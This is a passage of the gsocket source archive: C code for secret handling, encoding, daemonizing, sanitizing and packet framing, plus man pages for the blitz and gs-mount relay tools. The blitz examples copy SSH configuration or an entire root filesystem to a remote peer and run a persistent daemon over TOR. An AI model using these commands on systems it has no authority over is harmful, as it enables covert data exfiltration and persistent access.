if (lineptr == NULL || n == NULL)
{
errno = EINVAL;
return -1;
}
if (ferror (stream))
return -1;
if (feof(stream))
return -1;
fgets(line,256,stream);
ptr = strchr(line,'\n');
if (ptr)
*ptr = '\0';
len = strlen(line);
if ((len+1) < 256)
{
ptr = realloc(*lineptr, 256);
if (ptr == NULL)
return(-1);
*lineptr = ptr;
*n = 256;
}
strcpy(*lineptr,line);
return(len);
}
#endif /* HAVE_GETLINE */
static char *
user_secret_from_stdin(GS_CTX *ctx)
{
size_t n = 0;
char *ptr = NULL;
ssize_t len;
while (1)
{
fprintf(stderr, "Enter Secret (or press Enter to generate): ");
len = getline(&ptr, &n, stdin);
XASSERT(len > 0, "getline()\n");
if (ptr[len - 1] == '\n')
ptr[len - 1] = 0; // Remove '\n'
if (strlen(ptr) == 0)
return NULL;
if (strlen(ptr) >= 8)
break;
fprintf(stderr, "Too short.\n");
}
return strdup(ptr);
}
static char *
user_secret_from_file(GS_CTX *ctx, const char *file)
{
FILE *fp;
char buf[256];
int ret;
if (file == NULL)
return NULL;
memset(buf, 0, sizeof buf);
fp = fopen(file, "r");
if (fp == NULL)
{
gs_ctx_set_errorf(ctx, "'%s'", file);
return NULL;
}
ret = fread(buf, 1, sizeof buf - 1, fp);
fclose(fp);
if (ret <= 0)
return NULL;
if (buf[ret-1] == '\n')
buf[ret-1] = 0;
return strdup(buf);
}
uint32_t
GS_hton(const char *hostname)
{
struct hostent *he;
struct in_addr **addr_list;
uint32_t ip;
/* Check if the string is an IP addres "1.2.3.4" */
ip = inet_addr(hostname);
if (ip != 0xFFFFFFFF)
return ip;
he = gethostbyname(hostname);
if (he == NULL)
return 0xFFFFFFFF;
addr_list = (struct in_addr **)he->h_addr_list;
if (addr_list == NULL)
return 0xFFFFFFFF;
if (addr_list[0] == NULL)
return 0xFFFFFFFF;
return addr_list[0][0].s_addr;
}
const char *
GS_gen_secret(void)
{
int ret;
GS_library_init(stderr, stderr, NULL);
// Generate random numbers
uint8_t buf[GS_SECRET_MAX_LEN];
ret = RAND_bytes(buf, sizeof buf);
XASSERT(ret == 1, "RAND_bytes() failed.\n");
char b58[sizeof buf * 2];
size_t b58sz = sizeof (b58);
GS_bin2b58(b58, &b58sz, buf, sizeof buf);
b58[22] = '\0'; // shorten secret to 21 characters
return strdup(b58);
}
const char *
GS_user_secret(GS_CTX *ctx, const char *sec_file, const char *sec_str)
{
const char *ptr;
/* Secret from file has priority of sec_str value */
if (sec_file != NULL)
{
ptr = user_secret_from_file(ctx, sec_file);
if (ptr != NULL)
return ptr;
return NULL;
}
/* If sec_str is set by command line parameters then use it */
if (sec_str != NULL)
return sec_str;
/* Ask user to enter a secret or if empty generate one */
ptr = user_secret_from_stdin(ctx);
if (ptr != NULL)
return ptr;
/* Genexrate a new secret */
ptr = GS_gen_secret();
return ptr;
}
/* Convert 128 bit binary into base58 + CRC
*/
static int
b58enc(char *b58, size_t *b58sz, uint8_t *src, size_t binsz)
{
const uint8_t *bin = src;
int carry;
size_t i, j, high, zcount = 0;
size_t size;
/* Find out the length. Count leading 0's. */
while (zcount < binsz && !bin[zcount])
++zcount;
size = (binsz - zcount) * 138 / 100 + 1;
uint8_t buf[size];
memset(buf, 0, size);
for (i = zcount, high = size - 1; i < binsz; ++i, high = j)
{
for (carry = bin[i], j = size - 1; (j > high) || carry; --j)
{
carry += 256 * buf[j];
buf[j] = carry % 58;
carry /= 58;
if (!j)
{
break;
}
}
}
for (j = 0; j < size && !buf[j]; ++j);
if (*b58sz <= zcount + size - j)
{
ERREXIT("Wrong size...%zu\n", zcount + size - j + 1);
*b58sz = zcount + size - j + 1;
return -1;
}
if (zcount)
memset(b58, '1', zcount);
for (i = zcount; j < size; ++i, ++j)
{
b58[i] = b58digits_ordered[buf[j]];
}
b58[i] = '\0';
*b58sz = i + 1;
return 0;
}
char *
GS_bin2b58(char *b58, size_t *b58sz, uint8_t *src, size_t binsz)
{
b58enc(b58, b58sz, src, binsz);
return b58;
}
static char *
bin2hex(char *dst, size_t dsz, const void *src, size_t sz, char *hexset)
{
char *end = dst + dsz;
char *dst_orig = dst;
uint8_t *s = (uint8_t *)src;
uint8_t *e = s + sz;
while ((dst < end) && (s < e))
{
*dst = hexset[*s >> 4];
dst += 1;
if (dst >= end)
break;
*dst = hexset[*s & 0x0f];
dst += 1;
s++;
}
*end = '\0';
return dst_orig;
}
char *
GS_bin2hex(char *dst, size_t dsz, const void *src, size_t sz)
{
return bin2hex(dst, dsz, src, sz, "0123456789abcdef");
}
char *
GS_bin2HEX(char *dst, size_t dsz, const void *src, size_t sz)
{
return bin2hex(dst, dsz, src, sz, "0123456789ABCDEF");
}
char *
GS_addr2hex(char *dst, const void *src)
{
if (dst == NULL)
{
static char dst_local[GS_ADDR_SIZE * 2 + 1];
dst = dst_local;
}
return GS_bin2hex(dst, GS_ADDR_SIZE * 2 + 1, src, GS_ADDR_SIZE);
}
char *
GS_token2hex(char *dst, const void *src)
{
if (dst == NULL)
{
static char dst_local[GS_TOKEN_SIZE * 2 + 1];
dst = dst_local;
}
return GS_bin2hex(dst, GS_TOKEN_SIZE * 2 + 1, src, GS_TOKEN_SIZE);
}
#define GS_SRP_KD1 "/kd/srp/1"
#define GS_ADDR_KD2 "/kd/addr/2"
// Convert a secret to a SRP secret and address.
GS_ADDR *
GS_ADDR_sec2addr(GS_ADDR *addr, const char *gs_secret)
{
unsigned char md[SHA256_DIGEST_LENGTH];
SHA256_CTX sha;
// Derive a SRP Secret (from gs_secret)
SHA256_Init(&sha);
SHA256_Update(&sha, GS_SRP_KD1, strlen(GS_SRP_KD1));
SHA256_Update(&sha, gs_secret, strlen(gs_secret));
SHA256_Final(md, &sha);
// Convert to hex string
GS_bin2hex(addr->srp_password, sizeof addr->srp_password, md, sizeof md);
// Derive the GS address
SHA256_Init(&sha);
SHA256_Update(&sha, GS_ADDR_KD2, strlen(GS_ADDR_KD2));
SHA256_Update(&sha, gs_secret, strlen(gs_secret));
SHA256_Final(md, &sha);
memcpy(addr->addr, md, sizeof addr->addr);
return addr;
}
// Return 0..25 to connect to [a-z].gsocket.org
uint8_t
GS_ADDR_get_hostname_id(uint8_t *addr)
{
int i;
int num = 0;
for (i = 0; i < GS_ADDR_SIZE; i++)
num += addr[i];
return num % 26;
}
uint64_t
GS_usec(void)
{
struct timeval tv;
gettimeofday(&tv, NULL);
return GS_TV_TO_USEC(&tv);
}
// 7 readable characters + suffix + 0
static const char unit[] = "BKMGT";
void
GS_format_bps(char *dst, size_t size, int64_t bytes, const char *suffix)
{
int i;
if (suffix == NULL)
suffix = "";
if (bytes < 1000)
{
snprintf(dst, size, "%3d.0 B%s", (int)bytes, suffix);
return;
}
bytes *= 100;
for (i = 0; bytes >= 100*1000 && unit[i] != 'T'; i++)
bytes = (bytes + 512) / 1024;
snprintf(dst, size, "%3lld.%1lld%c%s%s",
(long long) (bytes + 5) / 100,
(long long) (bytes + 5) / 10 % 10,
unit[i],
i ? "B" : " ", suffix);
}
// Convert 'sec' to human readable string
// 99s
// 1m40 100
// 99m59 5999
// 1h40 6000
// 99h59 359940
// 4d04 360000
// 99d23 8636400
// 100d 8640000
// MAX LENGTH IS 7 chars including 0-termination.
char *
GS_format_since(char *dst, size_t dst_sz, int32_t sec)
{
if (sec >= 100 * 24 * 60 * 60) // 100 days or more
snprintf(dst, dst_sz, "%ud", sec / (24 * 60 * 60));
else if (sec >= 100 * 60 * 60) // 100 hours or more => 4d00
snprintf(dst, dst_sz, "%ud%02uh", sec / (24 * 60 * 60) /*days*/, (sec / (60 * 60)) % 24);
else if (sec >= 100 * 60) // 100 minutes or more => 1h40
snprintf(dst, dst_sz, "%uh%02um", sec / (60 * 60), (sec / 60) % 60);
else if (sec >= 100) // 100 seconts or more => 1m40
snprintf(dst, dst_sz, "%um%02us", sec / 60, sec % 60);
else
snprintf(dst, dst_sz, "%us", MAX(0, sec));
return dst;
}
// Get Working Directory of process with id pid or if this fails then current cwd
// of this process.
char *
GS_getpidwd(pid_t pid)
{
char *wd = NULL;
if (pid <= 0)
goto err;
#if defined(__APPLE__) && defined(HAVE_LIBPROC_H)
// OSX (and others?)
int ret;
struct proc_vnodepathinfo vpi;
ret = proc_pidinfo(pid, PROC_PIDVNODEPATHINFO, 0, &vpi, sizeof vpi);
if (ret <= 0)
goto err;
wd = strdup(vpi.pvi_cdir.vip_path);
#elif __FREEBSD__
struct procstat *procstat;
struct kinfo_proc *kipp;
struct filestat_list *head;
struct filestat *fst;
unsigned int cnt;
procstat = procstat_open_sysctl();
if (procstat == NULL)
goto err;
kipp = procstat_getprocs(procstat, KERN_PROC_PID, pid, &cnt);
if ((kipp == NULL) || (cnt <= 0))
goto err;
head = procstat_getfiles(procstat, kipp, 0);
if (head == NULL)
goto err;
STAILQ_FOREACH(fst, head, next)
{
if (!(fst->fs_uflags & PS_FST_UFLAG_CDIR))
continue;
if (fst->fs_path == NULL)
continue;
wd = strdup(fst->fs_path);
break;
}
procstat_freefiles(procstat, head);
#else
// Linux & other unix (solaris etc)
char buf[1024];
char res[GS_PATH_MAX + 1];
ssize_t sz;
snprintf(buf, sizeof buf, "/proc/%d/cwd", (int)pid);
sz = readlink(buf, res, sizeof res - 1);
if (sz < 0)
goto err;
res[sz] = '\0';
wd = strdup(res);
#endif
err:
if (wd == NULL)
{
#if defined(__sun) && defined(HAVE_OPEN64)
// This is solaris 10
wd = getcwd(NULL, GS_PATH_MAX + 1); // solaris10 segfaults if size is 0...
#else
wd = getcwd(NULL, 0);
#endif
XASSERT(wd != NULL, "getcwd(): %s\n", strerror(errno)); // hard fail
}
DEBUGF_W("PID %d CWD=%s\n", pid, wd);
return wd;
}
/*
* Duplicate the process. Child returns. Parent monitors child
* and re-spwans child if it dies.
* Disconnect from process group and do all the things to become
* a daemon.
*/
void
GS_daemonize(FILE *logfp)
{
pid_t pid;
struct timeval last;
struct timeval now;
memset(&last, 0, sizeof last);
memset(&now, 0, sizeof now);
gs_errfp = logfp;
#ifdef DEBUG
gs_dout = logfp;
#endif
pid = fork();
XASSERT(pid >= 0, "fork(): %s\n", strerror(errno));
if (pid > 0)
exit(0); // Parent exits
/* HERE: Child. */
setsid();
// if (chdir("/") != 0)
// ERREXIT("chdir(): %s\n", strerror(errno));
close(STDIN_FILENO);
close(STDOUT_FILENO);
close(STDERR_FILENO);
/* HERE: We are now a daemon. Next: Become a watchdog. */
while (1)
{
signal(SIGCHLD, SIG_DFL); // make wait() work...
pid = fork();
XASSERT(pid >= 0, "fork(): %s\n", strerror(errno));
if (pid == 0)
{
signal(SIGCHLD, SIG_IGN);
return;
}
/* HERE: Parent. We are the watchdog. */
int status;
wait(&status); // Wait for child to termiante and then restart child
/* No not spawn to often. */
gettimeofday(&now, NULL);
int diff = now.tv_sec - last.tv_sec;
int n = 60;
if (diff > 60)
n = 1; // Immediately restart if this is first restart or child ran for >60sec
xfprintf(gs_errfp, "%s ***DIED*** (status=%d). Restarting in %d second%s.\n", GS_logtime(), status, n, n>1?"s":"");
sleep(n);
gettimeofday(&last, NULL); // When last restarted.
}
exit(255); // NOT REACHED
}
// Sanitize a string
const char *
GS_sanitize(char *dst, size_t dsz, char *src, size_t sz, const char *set, size_t setsz, short option)
{
char *dst_orig = dst;
if (dsz <= 0)
return NULL;
char *dst_end = dst + dsz;
char *src_end = src + sz;
uint8_t c;
uint8_t n;
while ((dst < dst_end) && (src < src_end))
{
c = *src;
if (c == '\0')
break;
if (c < setsz)
{
n = set[c];
} else {
n = '#';
}
*dst = n;
dst++;
src++;
}
*dst = '\0';
return dst_orig;
}
static const char fname_valid_char[] = ""
"................"
"................"
" !.#$%&.()#+,-.." /* Dont allow " or / or ' or * */
"0123456789:;.=.." /* Dont allow < or > or ? */
"@ABCDEFGHIJKLMNO"
"PQRSTUVWXYZ[.]^_" /* Dont allow \ */
".abcdefghijklmno" /* Dont allow ` */
"pqrstuvwxyz{.}.." /* Dont allow | or ~ */
"";
// Sanitize a filename
const char *
GS_sanitize_fname_str(char *str, size_t len)
{
return GS_sanitize(str, len, str, len, fname_valid_char, sizeof fname_valid_char, 0);
}
const char *
GS_sanitize_fname(char *dst, size_t dlen, char *src, size_t slen)
{
return GS_sanitize(dst, dlen, src, slen, fname_valid_char, sizeof fname_valid_char, 0);
}
static const char logmsg_valid_char[] = ""
"................"
"................"
" !\"#$%#'()#+,-./" // dont allow &, *
"0123456789:#<=>?" // dont allow ;
"@ABCDEFGHIJKLMNO"
"PQRSTUVWXYZ[\\]^_"
"#abcdefghijklmno" // dont allow `
"pqrstuvwxyz{#}~." // dont allow |
"";
// Sanitize a log message
const char *
GS_sanitize_logmsg_str(char *str, size_t len)
{
return GS_sanitize(str, len, str, len, logmsg_valid_char, sizeof logmsg_valid_char, 0);
}
const char *
GS_sanitize_logmsg(char *dst, size_t dlen, char *src, size_t slen)
{
return GS_sanitize(dst, dlen, src, slen, logmsg_valid_char, sizeof logmsg_valid_char, 0);
}
gsocket-1.4.33/lib/list-test.c 0000664 0000000 0000000 00000004432 14072625040 0016106 0 ustar 00root root 0000000 0000000 #include "gs-common.h"
#include
#include "gs-externs.h"
static void
output(GS_LIST *list)
{
GS_LIST_ITEM *li = NULL;
while (1)
{
li = GS_LIST_next(list, li);
if (li == NULL)
break;
DEBUGF("add_id = %d, id = %"PRIu64"\n", li->add_id, li->id);
}
}
static void
check_order(GS_LIST *list)
{
// Check order is still ok
int n = 0;
GS_LIST_ITEM *li = NULL;
GS_LIST_ITEM *next;
while (1)
{
li = GS_LIST_next(list, li);
if (li == NULL)
break;
next = (GS_LIST_ITEM *)li->next;
if (next != NULL)
{
XASSERT(li->id <= next->id, "not in order %"PRIu64" <= %"PRIu64"\n", li->id, next->id);
if (li->id == next->id)
{
XASSERT(li->add_id < next->add_id, "Wrong order\n");
}
}
n++;
}
}
int
main(int argc, char *argv[])
{
GS_LIST list;
GS_library_init(stderr, stderr, NULL);
srand(time(NULL));
GS_LIST_init(&list, 0);
GS_LIST_ITEM *li = NULL;
//Check that GS_LIST_next() is working
int n = 0;
while (1)
{
li = GS_LIST_next(&list, li);
if (li == NULL)
break;
n += 1;
}
XASSERT(n == 0, "n is %d != 0\n", n);
// Add entries with random id's.
int max = 10000;
n = 0;
uint64_t id;
int max_id = 20;
while (n < max)
{
id = rand() % max_id;
GS_LIST_add(&list, NULL, "dummy data", id);
// Check order after every entry
check_order(&list);
n++;
}
int total = n;
// output(&list);
DEBUGF("Items in list: %d\n", list.n_items);
// Delete / Add randomly until no items are left
int chance;
int pos;
int del_count = 0;
int add_count = 0;
while (total > 0)
{
chance = 0;
chance = rand() % 3; // 1/3 chance for GS_LIST_add()
if (chance == 2)
{
id = rand() % max_id;
GS_LIST_add(&list, NULL, "new dummy", id);
total += 1;
add_count += 1;
check_order(&list);
continue;
}
pos = rand() % total;
li = GS_LIST_by_pos(&list, pos);
XASSERT(li != NULL, "requested pos that doesnt exist (pos = %d, total = %d)\n", pos, total);
GS_LIST_del(li);
check_order(&list);
total--;
del_count += 1;
check_order(&list);
}
XASSERT(del_count == add_count + max, "Oops. deleted = %d but total+add = %d\n", del_count, add_count + max);
output(&list);
DEBUGF("Randomly added while deleting at the same: %d\n", add_count);
DEBUGF("Items in list: %d\n", list.n_items);
DEBUGF("hello world\n");
return 0;
}
gsocket-1.4.33/lib/list.c 0000664 0000000 0000000 00000007723 14072625040 0015137 0 ustar 00root root 0000000 0000000 /*
* Double Linked List
*/
#include "gs-common.h"
#include
#include "gs-externs.h"
#define GS_LIST_PREV(xitem) ((GS_LIST_ITEM *)xitem)->prev
#define GS_LIST_NEXT(xitem) ((GS_LIST_ITEM *)xitem)->next
int
GS_LIST_init(GS_LIST *gsl, int opt)
{
memset(gsl, 0, sizeof *gsl);
gsl->opt = opt;
return 0;
}
// FOR DEBUGGING ONLY
void
GS_LIST_stderr(GS_LIST *gsl, const char *msg)
{
GS_LIST_ITEM *li = GS_LIST_next(gsl, NULL);
DEBUGF_C("Items=%d: %s", gsl->n_items, msg);
int i = 0;
for (; li != NULL; li = GS_LIST_next(gsl, li))
{
DEBUGF_Y("#%d id=%"PRIu64" %p (prev=%p, next=%p)\n", i++, li->id, li, li->prev, li->next);
XASSERT(i < 6, "list to long (debugging)\n"); // FIXME:
}
if (i != gsl->n_items)
ERREXIT("wrong number of items: %d\n", i);
}
GS_LIST_ITEM *
GS_LIST_next(GS_LIST *gsl, GS_LIST_ITEM *li)
{
if (li == NULL)
return gsl->head;
XASSERT(li != li->next, "list-item is looping (%p)\n", li);
return li->next;
}
static void
gs_list_unlink(GS_LIST_ITEM *del_li)
{
GS_LIST *gsl = del_li->gsl;
if (del_li->prev == NULL)
gsl->head = del_li->next; // Might be NULL
else
GS_LIST_NEXT(del_li->prev) = del_li->next;
if (del_li->next == NULL)
gsl->tail = del_li->prev; // Might be NULL
else
GS_LIST_PREV(del_li->next) = del_li->prev;
gsl->n_items -= 1;
}
static void
gs_list_link(GS_LIST_ITEM *src_li)
{
GS_LIST *gsl = src_li->gsl;
gsl->n_items += 1;
// First element
if (gsl->head == NULL)
{
gsl->tail = src_li;
gsl->head = src_li;
src_li->next = NULL;
src_li->prev = NULL;
goto done;
}
// Start from tail to find insert location
GS_LIST_ITEM *li = gsl->tail;
// DEBUGF("Tail id == %llu\n", li->id);
while (li != NULL)
{
if (li->id <= src_li->id)
break;
li = li->prev;
}
// DEBUGF("Add %llu below this one: %llu\n", id, li->id);
// id is smallest (e.g. becoming head)
if (li == NULL)
{
// DEBUGF("Becoming head\n");
// li becoming the head
src_li->next = gsl->head;
src_li->prev = NULL;
gsl->head->prev = src_li;
gsl->head = src_li;
goto done;
}
// Add below li
src_li->next = li->next; // == NULL if tail
src_li->prev = li;
if (li->next != NULL) // Not the tail
GS_LIST_PREV(li->next) = src_li;
else
gsl->tail = src_li; // next tail
li->next = src_li;
done:
XASSERT(src_li != src_li->next, "list-item already in list\n");
}
void
GS_LIST_relink(GS_LIST_ITEM *li, uint64_t id)
{
li->id = id;
gs_list_unlink(li);
gs_list_link(li);
}
/*
* Move ITEM to a new another list.
*/
void
GS_LIST_move(GS_LIST *gsl, GS_LIST_ITEM *li)
{
if (li->gsl == gsl)
return;
gs_list_unlink(li);
GS_LIST_add(gsl, li, li->data, li->id);
}
/*
* Add an item to the list. Sorted by id. Smallest at top.
*/
GS_LIST_ITEM *
GS_LIST_add(GS_LIST *gsl, GS_LIST_ITEM *src_li, void *data, uint64_t id)
{
if (src_li == NULL)
{
src_li = calloc(1, sizeof *src_li);
XASSERT(src_li != NULL, "calloc(): %s\n", strerror(errno));
src_li->is_calloc = 1;
} else {
src_li->is_calloc = 0;
}
src_li->data = data;
src_li->id = id;
src_li->gsl = gsl;
src_li->add_id = gsl->add_count;
gsl->add_count += 1;
gs_list_link(src_li);
// DEBUGF("tail id = %llu\n", gsl->tail->id);
return src_li;
}
GS_LIST_ITEM *
GS_LIST_by_pos(GS_LIST *gsl, int pos)
{
if (pos >= gsl->n_items)
return NULL;
int n = 0;
GS_LIST_ITEM *li = NULL;
while (1)
{
li = GS_LIST_next(gsl, li);
if (li == NULL)
break;
if (n == pos)
break;
n += 1;
}
return li;
}
GS_LIST_ITEM *
GS_LIST_by_id(GS_LIST *gsl, uint64_t id)
{
GS_LIST_ITEM *li = GS_LIST_next(gsl, NULL);
for (; li != NULL; li = GS_LIST_next(gsl, li))
{
if (id == li->id)
return li;
}
return NULL;
}
int
GS_LIST_del(GS_LIST_ITEM *del_li)
{
if (del_li == NULL)
return 0;
gs_list_unlink(del_li);
if (del_li->is_calloc)
XFREE(del_li);
return 0;
}
int
GS_LIST_del_all(GS_LIST *gsl, int deep)
{
GS_LIST_ITEM *li;
while (1)
{
li = GS_LIST_next(gsl, NULL);
if (li == NULL)
break;
if (deep)
XFREE(li->data);
GS_LIST_del(li);
}
return 0;
}
gsocket-1.4.33/lib/packet.c 0000664 0000000 0000000 00000013503 14072625040 0015424 0 ustar 00root root 0000000 0000000 /*
* In-band packet stack.
*
* Used for transfering data (such as change in window size) to remote peer.
*/
#include "gs-common.h"
#include
#include "gsocket-engine.h"
#include "gs-externs.h"
int
GS_PKT_init(GS_PKT *pkt)
{
memset(pkt, 0, sizeof *pkt);
return 0;
}
int
GS_PKT_close(GS_PKT *pkt)
{
return 0;
}
/*
* Assign call-back functions for different in-band signals.
*/
static int
gs_pkt_assign(GS_PKT *pkt, uint8_t type, gspkt_cb_t func, void *arg)
{
pkt->funcs[type] = func;
pkt->args[type] = arg;
return 0;
}
int
GS_PKT_assign_msg(GS_PKT *pkt, uint8_t msg, gspkt_cb_t func, void *arg)
{
return gs_pkt_assign(pkt, msg, func, arg);
}
int
GS_PKT_assign_chn(GS_PKT *pkt, uint8_t chn, gspkt_cb_t func, void *arg)
{
return gs_pkt_assign(pkt, chn + GS_PKT_MAX_MSG, func, arg);
}
/*
* Encode len bytes from src to dst.
* dst must be 2x the size of src.
*
* FIXME: could make this more memory efficient by using src == dst
* and start encoding from the rear end (reverse) and return pointer to
* dst.
*/
void
GS_PKT_encode(GS_PKT *pkt, const uint8_t *src, size_t slen, uint8_t *dst, size_t *dlen)
{
uint8_t *dst_orig = dst;
const uint8_t *send = src + slen;
/* Escape any occurance of PKT_ESC with PKT_ESC PKT_ESC (double) */
while (src < send)
{
*dst = *src;
if (*src == GS_PKT_ESC)
{
// DEBUGF_W("Encoding ESC\n");
dst++;
*dst = GS_PKT_ESC;
}
dst++;
src++;
}
*dlen = dst - dst_orig;
}
int
GS_PKT_MSG_size_by_type(int type)
{
if (type == GS_PKT_TYPE_NONE /* 0x00*/) {
return -2; // Protocol Error (FATAL)
} else if (type < 16) {
return 4; // 4 - chn 1..15
} else if (type < 32) {
return 16; // 16 - chn 16..31
} else if (type < 48) {
return 64; // 64 - chn 32..47
} else if (type < 64) {
return 128; // 128 - chn 48..63
} else if (type < 80) {
return 512; // 512 - chn 64..79
} else if (type < 96) {
return 1024; // 1024 - chn 80..95
} else if (type < 112) {
return 2048; // 2048 - chn 96..111
}
return 4196; // 4196 - chn 112..127
}
/*
* Decode slen bytes into dst until an ESC-sequence is encountered.
* Return the number of bytes consumed from src.
*
* ESC ESC => ESC
* ESC [ 1 + 7bit CHN ] [ 16 bit length ] [ data ]
* ESC [ 0 + 7bit TYPE] [ data ]
*/
ssize_t
GS_PKT_decode_single(GS_PKT *pkt, const uint8_t *src, size_t slen, uint8_t *dst, size_t *dlen)
{
uint8_t *dst_orig = dst;
const uint8_t *src_orig = src;
const uint8_t *send = src + slen;
while (src < send)
{
if (pkt->esc_len_rem > 0)
{
if (pkt->type != 0)
{
// HERE: Either channel or msg
size_t len = MIN(pkt->esc_len_rem, send - src);
/* Check for BO (should not never happen) */
size_t available = sizeof pkt->inband - pkt->len;
XASSERT(len <= available, "len = %zu, left = %zu\n", len, available);
XASSERT(len <= pkt->esc_len_rem, "len=%zu, len_rem=%zu\n", len, pkt->esc_len_rem);
// DEBUGF("Copying %zu to inband data (total after: %zu, dsz=%zu)\n", len, pkt->len + len, dst - dst_orig);
memcpy(pkt->inband + pkt->len, src, len);
pkt->len += len;
src += len;
pkt->esc_len_rem -= len;
if (pkt->esc_len_rem <= 0)
{
if (GS_PKT_IS_CHANNEL(pkt->type) && (pkt->is_got_chn_len == 0))
{
uint16_t nlen;
memcpy(&nlen, &pkt->inband, 2);
pkt->is_got_chn_len = 1;
pkt->esc_len_rem = ntohs(nlen);
// DEBUGF_B("Len of channel message: %zu (dsz=%zu)\n", pkt->esc_len_rem, dst - dst_orig);
pkt->len = 0;
if (pkt->esc_len_rem != 0)
continue;
/* HERE: Zero length packet. Still call CallBack */
}
if (pkt->funcs[pkt->type] == NULL)
{
DEBUGF_R("No function assigned for type %u\n", pkt->type);
} else {
/* val is 0..127 for msg or 0..127 for channel */
uint8_t val;
val = pkt->type;
if (val >= GS_PKT_MAX_MSG)
val -= GS_PKT_MAX_MSG;
// DEBUGF("PKT cb type %d, data left=%zu (dsz=%zu)\n", pkt->type, send - src, dst - dst_orig);
(*pkt->funcs[pkt->type])(val, pkt->inband, pkt->len, pkt->args[pkt->type]);
}
// DEBUGF("%02x %02x %02x %02x\n", pkt->inband[0], pkt->inband[1], pkt->inband[2], pkt->inband[3]);
pkt->len = 0;
pkt->is_got_chn_len = 0;
}
continue;
}
if (*src == GS_PKT_ESC)
{
/* Was ESC ESC sequence */
*dst = GS_PKT_ESC;
dst++;
src++;
pkt->esc_len_rem = 0;
continue;
}
/* First character after ESC is TYPE || CHN */
pkt->type = *src;
if (pkt->type == 0x0)
{
DEBUGF_R("ERROR TYPE IS 0x00\n");
return -1; // Protocol Error (FATAL)
}
if (GS_PKT_IS_CHANNEL(pkt->type))
{
/* HERE: type == 128..255 (channel) */
pkt->esc_len_rem = 2; /* At least two bytes for length */
} else {
/* HERE: type == 0..127 (fixed length message) */
// DEBUGF("type 0x%x\n", pkt->type);
int len;
len = GS_PKT_MSG_size_by_type(pkt->type);
if (len < 0)
return len;
pkt->esc_len_rem = len;
}
/* HERE: It's an escape sequence */
src++;
/* Return any pending data in input buffer to caller before
* processing in-band signaling
*/
if (dst > dst_orig)
break;
} else {
/* NOT inside escape sequence */
if (*src == GS_PKT_ESC)
{
pkt->type = 0;
pkt->esc_len_rem = 1; /* Unknown at this stage */
src++;
continue;
}
/* COPY */
*dst = *src;
dst++;
src++;
}
}
*dlen = dst - dst_orig;
return src - src_orig;
}
/*
* Return 0 on success.
*/
int
GS_PKT_decode(GS_PKT *pkt, const uint8_t *src, size_t slen, uint8_t *dst, size_t *dlen)
{
size_t dsz;
uint8_t *dst_orig = dst;
ssize_t consumed;
const uint8_t *s_end = src + slen;
const uint8_t *s = src;
while (s < s_end)
{
consumed = GS_PKT_decode_single(pkt, s, s_end - s, dst, &dsz);
// DEBUGF("Consumed: %zd\n", consumed);
if (consumed < 0)
return -1;
dst += dsz;
s += consumed;
}
*dlen = dst - dst_orig;
return 0;
}
gsocket-1.4.33/man/ 0000775 0000000 0000000 00000000000 14072625040 0014014 5 ustar 00root root 0000000 0000000 gsocket-1.4.33/man/Makefile.am 0000775 0000000 0000000 00000000103 14072625040 0016045 0 ustar 00root root 0000000 0000000 dist_man_MANS = gsocket.1 gs-netcat.1 gs-sftp.1 blitz.1 gs-mount.1
gsocket-1.4.33/man/blitz.1 0000775 0000000 0000000 00000005253 14072625040 0015232 0 ustar 00root root 0000000 0000000 .Dd October 12, 2020
.Dt BLITZ 1
.Os
.Sh NAME
.Nm blitz
.Nd Securely transfer files between two workstations through NAT/Firewall.
.Sh SYNOPSIS
.Nm blitz
.Op Fl lT
.Op Fl s Ar secret
.Op Fl k Ar keyfile
.Op Fl f Ar list
.Op Fl o Ar RSOPT=
.Op Ar files ...
.Sh DESCRIPTION
The
.Nm
utility is a wrapper script for gs-netcat and rsync. It allows one to send files from one workstation to another workstation via the Global Socket Relay Network (GSRN).
.Pp
A typical use-case is where both workstations are separated by a Firewall or NAT and not able to establish a direct connection between each other.
.Pp
.Sh OPTIONS
.Bl -tag -width Ds
.It Fl l
Server mode. The default mode is client.
.It Fl s Ar secret
A password chosen by the user. Both users need to use the same password to connect.
.It Fl k Ar FILE
A file containing the password.
.It Fl f Ar FILE
Read list of file names from FILE. If FILE is -, the list will be read from standard input.
.It Fl o Ar RSOPT=
Options passed to rsync. See
.Xr rsync(1)
for available options.
.It Fl T
Use TOR. The
.Nm
tool will connect via TOR to the GSRN. This requires TOR to be installed and running. The IP and PORT of the TOR server can be set using environment variables.
.El
.Pp
See
.Xr gs-netcat(1)
for more options.
.Sh EXAMPLES
Listen for clients with password 'MySecret':
.Dl $ mkdir /tmp/foo && cd /tmp/foo
.Dl $ blitz -s MySecret -l
.Pp
Copy 'file.dat' to /tmp/foo/file.dat on the server:
.Dl $ blitz -s MySecret file.dat
.Pp
Copy '/etc/ssh/ssh*config' to /tmp/foo/etc/ssh/ on the server:
.Dl $ blitz -s MySecret /etc/ssh/ssh*config
.Pp
It is also possible to limit the amount of path information that is sent as implied directories for each path you specify. You can insert a dot and a slash into the source path, like this:
.Pp
.Dl $ blitz -s MySecret /etc/./ssh/ssh*config
The received files will be stored to /tmp/foo/ssh/ instead of /tmp/foo/etc/ssh.
.Pp
Copy recursively and limit bandwidth to 10kB/sec:
.Dl $ blitz -s MySecret -o 'RSOPT=--bwlimit=10' /usr/./share
.Pp
Copy the entire root file-system:
.Dl $ blitz -s MySecret -o 'RSOPT=-x' /
.Pp
Copy specific files read from standard input:
.Dl $ find\ . -name '*.conf' | blitz -s MySecret -f \-
.Pp
Run a permanent server (daemon) through TOR:
.Dl $ blitz -s MySecret -l -D -T
.Pp
.Sh ENVIRONMENT
See
.Xr gs-netcat(1)
for a list of supported environment variables.
.Pp
.Sh SEE ALSO
.Xr gsocket(1) ,
.Xr gs-netcat(1) ,
.Xr gs-sftp(1) ,
.Xr gs-mount(1) ,
.Xr rsync(1)
.Pp
.Sh BUGS
Efforts have been made to have
.Nm
"do the right thing" in all its various modes. If you believe that it is doing the wrong thing under whatever circumstances, please notify me (skyper@thc.org) and tell me how you think it should behave.
gsocket-1.4.33/man/gs-mount.1 0000775 0000000 0000000 00000003354 14072625040 0015657 0 ustar 00root root 0000000 0000000 .Dd October 12, 2020
.Dt GS-MOUNT 1
.Os
.Sh NAME
.Nm gs-mount
.Nd Secure filesystem client through via Global Socket.
.Sh SYNOPSIS
.Nm gs-mount
.Op Fl lTR
.Op Fl s Ar secret
.Op Fl k Ar keyfile
.Op Ar mountpoint
.Sh DESCRIPTION
The
.Nm
utility is a wrapper script for gs-netcat. It allows a user to mount and access a filesystem from another user via the Global Socket Relay Network (GSRN). This is useful in a scenario where both users are behind NAT/Firewall and unable to connect to each other directly.
.Pp
